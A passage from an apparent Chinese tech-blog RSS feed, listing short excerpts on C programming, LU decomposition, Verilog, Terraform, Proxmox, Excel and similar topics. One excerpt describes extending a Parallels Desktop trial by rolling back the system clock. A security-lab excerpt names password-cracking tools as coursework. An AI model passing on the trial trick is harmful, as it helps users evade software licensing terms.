main(void){···}必须位于程序的开始处&#xA;D、C语言程序可以由一个或多个函数组成&#xA;2、“调试”与“测试”的一个共同目的是发现程序中的错误。&#xA;第一单元测验&#xA;1、软件是指()。&#xA;A、程序&#xA;B、程序和文档&#xA;C、算法加数据结构&#xA;D、程序、数据和相关文档的集合&#xA;2、下列叙述中，不符合良好程序设计风格的是()。&#xA;A、程序的效率第一，清晰第二&#xA;B、程序的可读性好&#xA;C、程序中有必要的注释&#xA;D、输入数据前要有提示信息&#xA;3、以下关于C语言源程序的叙述中，错误的是()。&#xA;A、一个C源程序由若干个函数定义组成，其中必须有且仅能有一个名为main的函数定义&#xA;B、在一个函数定义的函数体中允许定义另一个函数&#xA;C、函数定义由函数头部和函数体两部分组成&#xA;D、在一个函数定义中，函数体允许调用另一个函数或调用函数自身&#xA;4、以下叙述中正确的是()。&#xA;A、C程序的基本组成单位是语句&#xA;B、C程序中每一行只能写一条语句&#xA;C、简单C语句必须以分号结束&#xA;D、C语句必须在一行内写完&#xA;5、一个C程序的执行是从()。&#xA;A、main函数开始，直到main函数结束&#xA;B、第一个函数开始，直到最后一个函数结束&#xA;C、第一个语句开始，直到最后一个语句结束&#xA;D、main函数开始，直到最后一个函数结束&#xA;6、一个C程序是由()。&#xA;A、一个主程序和若干子程序组成&#xA;B、一个或多个函数组成&#xA;C、若干过程组成&#xA;D、若干子程序组成&#xA;7、C语言派程序的基本单位是()。&#xA;A、过程&#xA;B、函数&#xA;C、子程序&#xA;D、标识符&#xA;8、计算机能直接执行的程序是()。</description>
    </item>
    <item>
      <title>电路方程的矩阵形式 c语言,基于C语言实现大规模节点方程的LU分解算法.doc</title>
      <link>https://bchobby.github.io/posts/7381d705a1fd58696b4abc714ace7cf9/</link>
      <pubDate>Sat, 22 May 2021 14:31:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7381d705a1fd58696b4abc714ace7cf9/</guid>
      <description>基于C语言实现大规模节点方程的LU分解算法.doc&#xA;第 1 页 共 18 页基于 C 语言实现 大规模节点方程的 LU 分解算法班级 0403205 班学号 040320510姓名 邵汉钦完成日期 2006-03-25第 2 页 共 18 页基于 C 语言实现大规模节点方程的 LU 分解算法实验目的及主要内容通过编程实现基于 C 语言的大规模节点方程的 LU 分解算法，熟悉在电路仿真中运用的节点分析法计算机实现过程，对算法的收敛性、效率、计算过程中节省内存的手段和重要性有清晰的认识，从而能更好地运用商用大规模仿真软件或自己动手编写仿真软件。实验原理对复杂网络所建立的节点方程组，常常是高阶线性方程组，所以说，对线性电路的稳态分析，最终可归结为高阶线性方程组得求解问题。线性方程组的解法很多，一般可以分为两大类直接法和迭代法。直接法是通过对方程组直接进行一系列的运算而得到方程的解；迭代法是一开始就给出一个近似的解，然后通过逐次逼近来求 LAE 较好的近似解，迭代过程要一直进行到近似解达到预定的精度为止(即收敛到精确解) 。直接法的两个基本方法是高斯消元法和 LU 分解法，它们也是稀疏矩阵技术的基础。LU 分解是矩阵三角化分解法之一，也称三角分解法。它是把方程中的系数矩阵分解成下三角矩阵 L 和上三角矩阵 U 的乘积ALU式中，L 为主对角线以上的元素均为零的下三角矩阵；U 为主对角线以下的元素均为零，且主对角线元素均为 1 的上三角矩阵。上式展开就是第 3 页 共 18 页nnnaa 212112 nnlll 2110123112 nu则方程变为 AXLUXB一旦 A 分解成功，我们就可以设 UXY，方程就变成一个下三角形系统LYB，解此方程可以用所谓“前代”的方法，即从第 1 个方程求出 ，进1y而从第 2 个方程求出 ，依次类推，直到求出 ，把 ， 代2yny2n入第 n 个方程求出 。然后求解上三角系统 UXY，这样就可以用回代的方n法求出 X 来。LU 分解法的优点主要表现在当系数矩阵 A 不变，即只是网络元件参数 不变，仅仅是右手边向量 B 变化时，即外加激励信号变化时，可以减少解方程的计算工作量。因为一旦系数矩阵分解成 L 和 U 的乘积，就可以把L，U 存储起来，每次右手边向量变化时，只需做前代和回代，即可完成方程的求解。它在灵敏度计算中需要求转置的方程组时也方便得多。下面推导对 A 矩阵进行 LU 分解的方法。在以上推导过程中得到下式nnnaa 212112 nnlll 2110123112 nu将其按矩阵乘法展开，就可以推导出L 矩阵的第 1 列元素 ilii ,1U 矩阵的第 1 行元素 njlaujj 32L 矩阵的第 2 列元素 iliii ,12U 矩阵的第 2 行元素 jlujjj ,42第 4 页 共 18 页若按此方式对列和行依次交换计算下去，最终即将求出 L 和 U 矩阵的全部元素，其通用公式为 nmiulalmkiii ,11illukimimi ,2,1 以上公式给出了对 A 矩阵进行 LU 分解的基本方法，在此基础上就可以编程实现 LU 分解法解线性方程组。程序设计按以上公式可以归纳出如下的求解线性代数方程组得 LU 分解算法输入A，非奇异矩阵 nn。1.</description>
    </item>
    <item>
      <title>星河所沓，十二焉分，日月安属，列星安陈——记中国首次自主火星探测任务（一次英语课上的汇报）</title>
      <link>https://bchobby.github.io/posts/6267565b529264f57ea96447d50f129c/</link>
      <pubDate>Sat, 22 May 2021 07:18:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6267565b529264f57ea96447d50f129c/</guid>
      <description>文章目录 背景汇报PPT正文汇报发言稿参考文献 背景 2021年5月15日，中国国家航天局宣布，通过回传遥测数据显示，中国首次自主火星探测任务着陆器成功着陆火星。2021年5月19日，国家航天局发布我国首次火星探测天问一号任务探测器着陆过程两器分离和着陆后火星车拍摄的影像。图像中，着陆平台和“祝融号”火星车的驶离坡道、太阳翼、天线等机构展开正常到位。&#xA;中国用一次任务，完成了对火星的环绕探测和着陆探测，火星上终于留下了中国人的足迹。&#xA;汇报PPT正文 视频连接：https://www.bilibili.com/video/BV1V54y1L71C&#xA;汇报发言稿 good afternoon everyone!&#xA;today i am very glad to tell you something about chinese first Mars explore mission!&#xA;on the may 15th,chinese goverment reported that it has sucessfully landed first mars rover.&#xA;on that day updated the article ,the tille is .it said that the landing of zhurong was the biggest test yet of china’s deep-space exploration capabilities.&#xA;today i will show you more details about zhurong .</description>
    </item>
    <item>
      <title>Unity与JavaScript之间的相互调用</title>
      <link>https://bchobby.github.io/posts/4089de991b00a951b76ca76054b20c58/</link>
      <pubDate>Fri, 21 May 2021 17:00:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4089de991b00a951b76ca76054b20c58/</guid>
      <description>一 、Unity 调用 Js&#xA;1、在Unity工程中新建一个后缀名为：.jslib文件&#xA;2、在.jslib文件中编写unity调用js代码，多个方法之间记得使用，号隔开，要不然打包的时候会报错。&#xA;mergeInto(LibraryManager.library,{ UpdateDatabaseScore:function(score1,score2,score3,score4,score5,score6,totalscore) { // js端写好的函数 updateStudentScore(score1,score2,score3,score4,score5,score6,totalscore); }, H5TTS:function(content){ // 在Unity中向js传递字符串时需要在js中使用Pointer_stringify(str)进行转换。 h5Tts(Pointer_stringify(content)); } }); 3、在c#代码中调用&#xA;[DllImport(&#34;__Internal&#34;)] public static extern void UpdateDatabaseScore(float score1,float score2,float score3,float score4,float score5,float score6,float totalscore); [DllImport(&#34;__Internal&#34;)] public static extern void H5TTS(string content); /// &amp;lt;summary&amp;gt; /// unity 调用js 端进行更新数据 /// &amp;lt;/summary&amp;gt; /// &amp;lt;param name=&#34;score1&#34;&amp;gt;&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;score2&#34;&amp;gt;&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;score3&#34;&amp;gt;&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;score4&#34;&amp;gt;&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;score5&#34;&amp;gt;&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;score6&#34;&amp;gt;&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;totalscore&#34;&amp;gt;&amp;lt;/param&amp;gt; public void UpdateDBScore(float score1,float score2,float score3,float score4,float score5,float score6,float totalscore) { #if !</description>
    </item>
    <item>
      <title>【福利分享】阿里面试官叫我手写HashMap，我两分钟就给他整出来了！！！</title>
      <link>https://bchobby.github.io/posts/a4440ded73453a672cf0c37490238211/</link>
      <pubDate>Fri, 21 May 2021 14:30:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4440ded73453a672cf0c37490238211/</guid>
      <description>文章目录 🌊前言撸起袖子开始造实现数组 + 链表实现获取Key对应数组索引的方法实现get方法实现put方法实现remove方法测试一下 完整代码CSDN独家福利降临！！！💖福利🌊 Java入门到就业学习路线规划🌊 小白快速入门Python爬虫路线 🌊前言 Code皮皮虾 一个沙雕而又有趣的憨憨少年，和大多数小伙伴们一样喜欢听歌、游戏，当然除此之外还有写作的兴趣，emm…，日子还很长，让我们一起加油努力叭🌈&#xA;👉话不多说，直达底部有粉丝专享福利！！！&#xA;撸起袖子开始造 实现数组 + 链表 众所周知，HashMap无论是JDK7还是JDK8，底层都是数组 + 链表，只是JDK8多了一个红黑树，按道理讲不会还有手写红黑树的吧，😰。&#xA;既然是数组 + 链表，那我就实现一个链表&#xA;参考JDK8源码&#xA;我们就没必要那么高级，🤭&#xA;static class Node { int key, value; //保存该节点的Key、Value Node next; //指向下一个节点 public Node(int key, int value) { this.key = key; this.value = value; } } 链表有了，就再来个数组（面试过程基本上不要求扩容，所以我们就直接给数组定义一个差不多的值就OK了）&#xA;private final int CAPACITY = 10000; Node[] nodes = new Node[CAPACITY]; 实现获取Key对应数组索引的方法 参考源码&#xA;public V get(Object key) { Node&amp;lt;K,V&amp;gt; e; return (e = getNode(hash(key), key)) == null ?</description>
    </item>
    <item>
      <title>RISC-V（1）cpu基础</title>
      <link>https://bchobby.github.io/posts/abc08eeb980e1b4a7e32c30ea47fef6f/</link>
      <pubDate>Fri, 21 May 2021 12:04:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abc08eeb980e1b4a7e32c30ea47fef6f/</guid>
      <description>1.1.RISCV CPU概述 RISC-V(读作“RISC-FIVE”)是基于精简指令集计算(RISC)原理建立的开放指令集架构(ISA)，V表示为第五代RISC(精简指令集计算机),表示此前已经四代RISC处理器原型芯片。由加州大学伯克利分校的David A. Patterson教授带领下完成。与大多数ISA相反，RISC-V ISA可以免费地用于所有希望的设备中，允许任何人设计、制造和销售RISC-V芯片和软件。它是第一个被设计成可以根据具体场景可以选择适合的指令集的指令集架构。基于RISC-V指令集架构可以设计服务器CPU，家用电器cpu，工控cpu和用在比指头小的传感器中的cpu。&#xA;1.2 RV32I 基本整数指令集RV32I 被设计成足以构建一个编译器目标机，并支持现代操作系统环境。这个 ISA 也被设计成在最小实现时减少所需的硬件。RV32I 包括了 47 条单独的指令，可以仿真几乎所有其他的 ISA 扩展。&#xA;1.3 基本指令格式 在所有格式中，RISC-V ISA将源寄存器rs1和rs2，和目标寄存器rd固定在同样的位置，以简化指令译码。在指令中，立即数imm被打包，朝着最左边可用位的方向，并且是分配好的，以减少硬件复杂度。所有立即数的符号位总是在指令的第31位，以加速符号扩展电路。 Opcode为指令操作码，每条指令都是由一个相应的opcode和对应的funct来定义。&#xA;1.4 计算机简单组成模型 计算机有三大组成部分，分别是，处理器（CPU）、输入输出（I/O）、存储器（Memory）。处理器从存储器中获取指令，然后按照指令执行一定的操作。输入/输出用来提供运算数据以及显示运算结果。&#xA;2.1 计算机组成原理的简单电路设计 本节将设计一个简化的处理器取指令电路，取指令模块为CPU其中一个组件，通过这个例子体会Verilog HDL的使用。处理器中的PC寄存器存储着指令地址，在正常运行过程中，PC的值会随着时间增加，同时从指令存储器中取出对应地址的指令。本次处理器取指电路包含两部分：PC模块、指令存储器ROM。&#xA;2.2 PC模块的设计和实现 PC模块的功能是给出取指令地址，同时每个时钟周期取指令地址递增。其接口设计如图所示。其左侧为输入右侧为输出。接口描述如表所示。&#xA;module pc_reg( input&#x9;wire&#x9;clk, input wire&#x9;rst, output reg[5:0]&#x9;pc, output reg ce ); always @ (posedge clk) begin if (ce == 1&#39;b0) begin pc &amp;lt;= 6&#39;h00; end else begin pc &amp;lt;= pc + 1&#39;b1; end end always @ (posedge clk) begin if (rst == 1&#39;b1) begin ce &amp;lt;= 1&#39;b0; end else begin ce &amp;lt;= 1&#39;b1; end end endmodule 在时钟上升沿触发，如果rst使能，则使能信号ce为0，否则使能信号ce为1。当ce为1时pc寄存器开始在每个时钟上升沿时加1。</description>
    </item>
    <item>
      <title>VCS-Verdi仿真</title>
      <link>https://bchobby.github.io/posts/81a6dbb8eb7a7f5531e6a2f3451444d9/</link>
      <pubDate>Fri, 21 May 2021 10:52:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81a6dbb8eb7a7f5531e6a2f3451444d9/</guid>
      <description>VCS和Verdi仿真： makefile用法： make_vcs、verdi、clean(编译、仿真、查看波形、清除) -Mupdate 增量编译，只重新编译变化的文件。&#xA;-R 编译完后自动仿真。-l 设置log文件。 +v2k 支持verilog2001.&#xA;-f 将RTL路径整合到filelist.f文件中。 -o foo，改变simv名字为foo。&#xA;+define+&amp;lt;宏名称&amp;gt;=&amp;lt;值&amp;gt;。&#xA;+incdir+inc路径 在当前路径下找文件&#xA;波形分析： 1：vcs和verdi联合仿真条件&#xA;①生成的“.fsdb”文件才能用于Verdi波形分析。&#xA;②要生成“.fsdb”文件，需要在Testbench中加入图2所示的几行用于产生“.fsdb”文件代码。&#xA;③注意环境变量的添加：.bashrc文件&#xA;2：vcs和verdi仿真快捷键&#xA;①抓取波形nwave，点击波形窗口后（大写字母=shift+小写）：&#xA;快速抓信号：选取后ctrl+w。添加波形：g（get signal）。&#xA;放大、缩小波形：小写z缩小（zoom ），shift+z放大。波形全部显示：f（full）。&#xA;翻转信号跳转：n（next）向前，N向后。&#xA;改变信号颜色：c（color）。&#xA;重新加载设计：file-&amp;gt;reload design。&#xA;②&#xA;debug经验： ①使用系统函数：&#xA;$time、display、monitor、stop、finish、readmemb、readmemh&#xA;②$fsdbDumpMDA();用verdi查看二维数组信号。&#xA;③覆盖率：代码覆盖率和功能覆盖率&#xA;代码覆盖率：检查if和else if完整、各路径是否都跳转、检查语句是否被执行、检查状态机每个状态是否达到。</description>
    </item>
    <item>
      <title>c语言表达式和表达式语句的区别,C语言中表达式和表达式语句的区别（什么又叫做表达式）?...</title>
      <link>https://bchobby.github.io/posts/10f0f05af4652187cd0d4795cea3b434/</link>
      <pubDate>Fri, 21 May 2021 09:00:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10f0f05af4652187cd0d4795cea3b434/</guid>
      <description>满意答案&#xA;sfuejr22&#xA;2016.01.13&#xA;采纳率：56% 等级：7&#xA;已帮助：659人&#xA;表达式：&#xA;表达式是操作符、操作数和标点符号组成的序列，其目的是用来说明…个计算过程。&#xA;表达式可以嵌套，例如：2+3+(5*sizeof(int))/345。&#xA;表达式根据某些约定、求值次序、结合和优先级规则来进行计算。&#xA;所谓约定，即类型转换的约定。例如：&#xA;float a；&#xA;a=5/2；&#xA;结果。得到值为2。5/2是整数除法取整， 因为5和2都是整数，不会由于a是float型而轻易改变运算的性质。&#xA;所谓求值次序，是指表达式中各个操作数的求值次序视编译器不同而不同。见3．9节。&#xA;所谓结合性，是指表达式中出现同等优先级的操作符时，该先做哪个操作的规定。例如：&#xA;d=a+b-c； //C++规定，加减法先左后右，先做a+b，其结果再减去c&#xA;d=a=3； //C++规定，等号是先右后左。先做a=3，其结果再赋给d&#xA;所谓优先级，是指不同优先级的操作符，总是先做优先级高的操作。例如：&#xA;d=a+b*c； //乘法优先级比加法高。先做b*c，其结果再与a相加&#xA;表达式语句：&#xA;C++中所有的操作运算都通过表达式来实现。 由表达式组成的语句称为表达式语句。&#xA;它由一个表达式后接一个分号“；”组成。&#xA;31分享举报</description>
    </item>
    <item>
      <title>c语言getsum函数的用法,只会用“Sum函数”求和的你，请花1分钟学会Sum if函数！...</title>
      <link>https://bchobby.github.io/posts/d334c1a18e73ff2032cec54b41ca880b/</link>
      <pubDate>Thu, 20 May 2021 18:00:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d334c1a18e73ff2032cec54b41ca880b/</guid>
      <description>原标题：只会用“Sum函数”求和的你，请花1分钟学会Sum if函数！&#xA;60秒get一个HR实用小技巧&#xA;说到求和函数，你先想到的是什么？&#xA;如果你脱口而出的是“Sum函数”，那你就赶紧收藏这篇文章吧~ 嘿嘿&#xA;因为“Sumif函数”可是一个比“Sum”函数好用一百倍的求和函数哦！今天小薪就给大家详细介绍一下~&#xA;单条件求和&#xA;sumif函数的用法：&#xA;根据指定条件对若干单元格、区域或引用求和。&#xA;sumif函数语法是：&#xA;SUMIF(range，criteria，sum_range)&#xA;sumif函数的参数：&#xA;第一个参数：Range为条件区域，用于条件判断的单元格区域。&#xA;第二个参数：Criteria是求和条件，为确定哪些单元格将被相加求和的条件，其形式可以由数字、逻辑表达式等组成的判定条件。例如，条件可以表示为 32、&#34;32&#34;、&#34;&amp;gt;32&#34; 或 &#34;apples&#34;。&#xA;第三个参数：Sum_range 为实际求和区域，需要求和的单元格、区域或引用。&#xA;当省略第三个参数时，则条件区域就是实际求和区域。&#xA;criteria 参数中可使用通配符(包括问号 (?) 和星号 (*))。问号匹配任意单个字符；星号匹配任意一串字符。如果要查找实际的问号或星号，需在该字符前键入波形符 (~)&#xA;举个例子&#xA;面对一张销售人员的业绩表格时，假设我们现在需要统计“北京”地区的“销售总额”，这时我们就可以使用“Sum if”函数。&#xA;具体语法：&#xA;=SUMIF(B2:B9,E2,C2:C9)&#xA;这表示：在“B2:B9”区域内，寻找满足“E2”条件的单元格，将他们在“C2:C9”区域内的值相加求和。&#xA;绝对引用&#xA;在上述例子中，在求得“北京”地区的“销售总额”之后，如果需要再求得其他地区的“销售总额”，则可以使用“向下拖拽填充”的方式来实现。但是，此时我们的函数语法需要有所改变。&#xA;具体语法：&#xA;=SUMIF($B$2:$B$9,E2,$C$2:$C$9)&#xA;此时的“条件区域”和“实际求和区域”均为绝对引用，这可以保证在我们向下拖拽的时候，区域范围不会变动。&#xA;快捷键填充&#xA;如果我们的条件区域或者实际求和区域有很多很多行，那么向下拖拉选取的方式就太过麻烦啦。这时，我们就可以使用快捷来一次性选取！&#xA;快捷键：ctrl+shift+↓&#xA;隔列求和&#xA;如果统计表格是如下的样式，即需要统计的数量是隔列分布的，那么此时我们想要求和的话，“sum函数”就傻眼啦，但我们仍然可以使用“sumif函数”来实现！&#xA;具体语法：&#xA;=SUMIF(A$2:F$2,G$2,A3)&#xA;以上就是给大家介绍的“Sum if函数”的几种用法啦，希望大家能通过这几个小技巧，更快速地体会到“Sum if 函数”的妙处,在日常工作中能充分利用起来~&#xA;责任编辑：</description>
    </item>
    <item>
      <title>terraform aws入门</title>
      <link>https://bchobby.github.io/posts/9af2821dbca977e115838b5f2fb8b905/</link>
      <pubDate>Thu, 20 May 2021 14:01:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9af2821dbca977e115838b5f2fb8b905/</guid>
      <description>环境CentOS7.9&#xA;1. 下载安装terraform 打开https://www.terraform.io/downloads.html，复制下载地址&#xA;wget https://releases.hashicorp.com/terraform/0.15.4/terraform_0.15.4_linux_amd64.zip 解压后，移动到/bin目录&#xA;unzip terraform_0.15.4_linux_amd64.zip mv terraform /bin/ 2. 配置awscli（这里默认已经配置好aws AMI access key） 安装awscli&#xA;yum install awscli -y 配置awscli，输入id，key，地区和输出格式信息&#xA;aws configure AWS Access Key ID [****************65UO]: ^C [root@192-168-64-138 aws]# aws configure AWS Access Key ID [****************65UO]: AWS Secret Access Key [****************iOBH]: Default region name [ap-northeast-2]: Default output format [json]: 3. 编写main.tf文件 以下main.tf文件对于t2.micro是完全适用得，需要自己修改region，vpc_security_group_ids，subnet_id&#xA;aws自有ami镜像获取方式如下：&#xA;aws ec2 describe-images --owners self amazon #mkdir aws #cd aws #vim main.tf terraform { required_providers { aws = { source = &#34;</description>
    </item>
    <item>
      <title>Proxmox VE镜像分析与定制</title>
      <link>https://bchobby.github.io/posts/0e9740191989d8c1e9d59ac9144721d9/</link>
      <pubDate>Thu, 20 May 2021 13:11:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e9740191989d8c1e9d59ac9144721d9/</guid>
      <description>Proxmox VE（Proxmox Virtual Environment，简称PVE）是一个开源的服务器虚拟化环境Linux发行版，基于Debian，使用给予Ubuntu的定制内核。相比于其他虚拟化平台，PVE具有的一个显著的特点就是无需master节点，安装完成后，无需特殊配置即可将多个节点组成集群。&#xA;由于工程要求，PVE需要大规模部署在物理服务器上，所以定制镜像就显得很有必要。&#xA;定制目标包括&#xA;（1）修改initrd中init脚本的提示信息&#xA;（2）删除GRUB界面多余选项，直接进入安装界面&#xA;（3）添加预装软件&#xA;（4）在安装过程中对软件进行个性化配置&#xA;（5）修改PVE安装界面，在PVE安装界面中的所有输入框设置默认文本&#xA;Proxmox VE镜像分析&#xA;下载Proxmox VE 6.4版镜像后挂载，观察文件结构&#xA;$ tree -L 2 . ├── boot │ ├── boot.cat │ ├── grub │ ├── initrd.img │ ├── linux26 │ └── memtest86+.bin ├── COPYING ├── COPYRIGHT ├── debian -&amp;gt; . ├── dists │ └── stretch ├── efi.img ├── EULA ├── mach_kernel ├── proxmox │ ├── country.dat │ ├── packages │ └── pve-base.cnt ├── pve-base.</description>
    </item>
    <item>
      <title>历届试题 包子凑数 C语言,蓝桥杯 试题 历届试题 包子凑数 dp&#43;欧几里得算法</title>
      <link>https://bchobby.github.io/posts/e2d45e95ea26872c64ac0251d0ce3b47/</link>
      <pubDate>Thu, 20 May 2021 09:45:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2d45e95ea26872c64ac0251d0ce3b47/</guid>
      <description>问题描述&#xA;小明几乎天天早晨都会在一家包子铺吃早餐。他发现这家包子铺有N种蒸笼，其中第i种蒸笼刚好能放Ai个包子。每种蒸笼都有很是多笼，能够认为是无限笼。&#xA;每当有顾客想买X个包子，卖包子的大叔就会迅速选出若干笼包子来，使得这若干笼中刚好一共有X个包子。好比一共有3种蒸笼，分别能放三、4和5个包子。当顾客想买11个包子时，大叔就会选2笼3个的再加1笼5个的(也可能选出1笼3个的再加2笼4个的)。&#xA;固然有时包子大叔不管如何也凑不出顾客想买的数量。好比一共有3种蒸笼，分别能放四、5和6个包子。而顾客想买7个包子时，大叔就凑不出来了。&#xA;小明想知道一共有多少种数目是包子大叔凑不出来的。&#xA;输入格式&#xA;第一行包含一个整数N。(1 &amp;lt;= N &amp;lt;= 100)&#xA;如下N行每行包含一个整数Ai。(1 &amp;lt;= Ai &amp;lt;= 100)&#xA;输出格式&#xA;一个整数表明答案。若是凑不出的数目有无限多个，输出INF。&#xA;样例输入&#xA;2&#xA;45&#xA;5&#xA;样例输出&#xA;6&#xA;样例输入&#xA;2&#xA;4&#xA;6&#xA;样例输出&#xA;INF&#xA;样例说明&#xA;对于样例1，凑不出的数目包括：1, 2, 3, 6, 7, 11。&#xA;对于样例2，全部奇数都凑不出来，因此有无限多个。&#xA;解题思路：咱们首先观察第一个样例&#xA;×表示不能凑出，√表示能凑出。观察到8√能够从4√+4获得，10√能够从5√获得。&#xA;因此咱们得出判断一个包子数是否能凑出的一个方法:dp解决。设dp[ j ]表示包子数为j是否能凑出。&#xA;有 dp[ j ] |= dp[ j - A[ k ] ] ( k&amp;gt;0 &amp;amp;&amp;amp; j - A[k] &amp;gt;=0 )&#xA;进一步观察能够知道,当连续√的数目&amp;gt;=4时，以后的数目都必定能凑出，由于只要在以前√的基础上加上最小包子数4便可。&#xA;接着观察第二个样例: 4 6 最后样例输出是INF。这里能够证实只有当给出的包子数至少有两个互质时最终结果不是INF。&#xA;反证法:假设n个包子数都不互质，则它们的最小公约数k&amp;gt;1,则它们能够表示为</description>
    </item>
    <item>
      <title>clion mac 下刷题最佳配置</title>
      <link>https://bchobby.github.io/posts/7e46784cbdc157f3c50d3469e5c0e338/</link>
      <pubDate>Wed, 19 May 2021 16:59:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e46784cbdc157f3c50d3469e5c0e338/</guid>
      <description>clion 打题有几个常见的问题：&#xA;默认的 cmakelist 配置下只能有一个 main 函数，之前采用的是每写完一题就注释掉，很不方便；mac 下的 clion 没有万能头 bits/stdc++.h 这里就来解决这几个问题，同时还支持：配置自定义代码模板&#xA;1.解决只能执行一个 main 函数的问题 以前总觉得怎么clion这么反人类，归根到底还是对cmake不熟。&#xA;修改CmakeList.txt文件：&#xA;改成：&#xA;cmake_minimum_required(VERSION 3.17) project(algorithm) set(CMAKE_CXX_STANDARD 14) # 上面的用你自己的就行 # 遍历项目根目录下所有的 .cpp 文件 file (GLOB_RECURSE files *.cpp) foreach (file ${files}) string(REGEX REPLACE &#34;.+/(.+)\\..*&#34; &#34;\\1&#34; exe ${file}) add_executable (${exe} ${file}) message (\ \ \ \ --\ src/${exe}.cpp\ will\ be\ compiled\ to\ bin/${exe}) endforeach () 然后右键项目，点击Reload CMake Project&#xA;然后多个文件下的main函数就可以执行了。&#xA;2.解决没有万能头的问题 Mac 下，打开终端(terminal):&#xA;cd /usr/local/bin ls | grep g++ 查看下g++版本</description>
    </item>
    <item>
      <title>信息安全实验一</title>
      <link>https://bchobby.github.io/posts/6ae5356b231bc3ca704abd95248b5ea3/</link>
      <pubDate>Wed, 19 May 2021 16:56:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ae5356b231bc3ca704abd95248b5ea3/</guid>
      <description>实验一 加密与解密 一、实验目的 1.提高对加密与解密原理的认识&#xA;2.提高对信息隐藏原理的认识&#xA;3.学会使用加密与隐藏软件&#xA;4.了解口令破解基本方法；&#xA;5.体会设置安全口令的重要意义&#xA;二、实验要求 使用任意高级语言做出给文本文件加、解密的软件.&#xA;三、实验重点、难点 1.Easy code boy plus的使用&#xA;2.能熟练运用Lophtcrack、Aoxppr、Apdfprp、Mailhack等&#xA;四、实验学时 2学时&#xA;五、实验内容 1、凯撒密码实现、维吉尼亚表加密、DES&#xA;2、加密与隐藏软件的使用&#xA;3、利用破解密码软件破解口令&#xA;六、注意事项 Easy code boy plus可以将不同类型的文件作为寄主文件，将各种文件隐藏到不同类型的文件中。为了减少实验时间，实验破解用的密码可以选得简单一些。如1234。&#xA;七、实验步骤: 任务一、参考教科书有关内容，掌握凯撒加密方法，自行设计密钥.编制程序。&#xA;密码术可以大致别分为两种：即换位和替代，当然也有两者结合的更复杂的方法。在换位中字母不变，位置改变；替代中字母改变，位置不变。&#xA;将替代密码用于军事用途的第一个文件记载是恺撒著的《高卢记》。恺撒描述了他如何将密信送到正处在被围困、濒临投降的西塞罗。其中罗马字母被替换成希腊字母使得敌人根本无法看懂信息。苏托尼厄斯在公元二世纪写的《恺撒传》中对恺撒用过的其中一种替代密码作了详细的描写。恺撒只是简单地把信息中的每一个字母用字母表中的该字母后的第三个字母代替。这种密码替换通常叫做凯撒移位密码，或简单的说，凯撒密码。 凯撒密码是将每一个字母向前推移K位。如K=3，则它的每一个明文字符都由其右边第三个（模26）字符代换如将字母A换作字母D，将字母B换作字母E。&#xA;如有这样一条指令： RETURN TO ROME&#xA;用恺撒密码加密后就成为： UHWXUA WR URPH&#xA;如果这份指令被敌方截获，也将不会泄密，因为字面上看不出任何意义。&#xA;这种加密方法还可以依据移位的不同产生新的变化，如将每个字母左19位，就产生这样一个明密对照表：&#xA;明:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z&#xA;密:T U V W X Y Z A B C D E F G H I J K L M N O P Q R S</description>
    </item>
    <item>
      <title>Parallels Desktop 16.5  M1 使用到期的解决方法</title>
      <link>https://bchobby.github.io/posts/b084c5313678e2961e26bc576d2eca44/</link>
      <pubDate>Wed, 19 May 2021 14:41:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b084c5313678e2961e26bc576d2eca44/</guid>
      <description>将mac的系统时间改为使用到期之前的时间即可：&#xA;就比如现在我的体验到期时间是2021-5-20号&#xA;接下来修改mac的当前系统时间&#xA;点击时间与日期&#xA;将当前时间改为到期日期之前的时间，然后再去查看我们的试用时间&#xA;现在已经变成了3天&#xA;改时间大法还是依旧的稳</description>
    </item>
    <item>
      <title>成功解决CMake Error at src/CMakeLists.txt:3 (add_library):   Cannot find source file:</title>
      <link>https://bchobby.github.io/posts/f3f23e561fb394377c4312b3b35aa6ec/</link>
      <pubDate>Wed, 19 May 2021 14:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3f23e561fb394377c4312b3b35aa6ec/</guid>
      <description>目前整个的文件结构如下：&#xA;user@user-B460MPOWER:~/work/xinguo/rgbd-slam-tutorial-gx/partI$ tree -L 2 . ├── bin ├── build │ ├── CMakeCache.txt │ ├── CMakeFiles │ ├── cmake_install.cmake │ ├── Makefile │ └── src ├── cmake-build-debug │ ├── CMakeCache.txt │ ├── CMakeFiles │ ├── cmake_install.cmake │ ├── Makefile │ ├── slam.cbp │ ├── src │ └── Testing ├── CMakeLists.txt ├── include │ └── mylib ├── lib └── src ├── CMakeLists.txt ├── main.cpp └── planar.cpp 没有找到是因为头文件配套的实现文件名字写错了。&#xA;CMake Error at src/CMakeLists.</description>
    </item>
    <item>
      <title>C语言base64转换成字符串,Base64编码转换原理-C语言</title>
      <link>https://bchobby.github.io/posts/60f1873bb207c839ef043cc73f93b804/</link>
      <pubDate>Wed, 19 May 2021 12:22:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60f1873bb207c839ef043cc73f93b804/</guid>
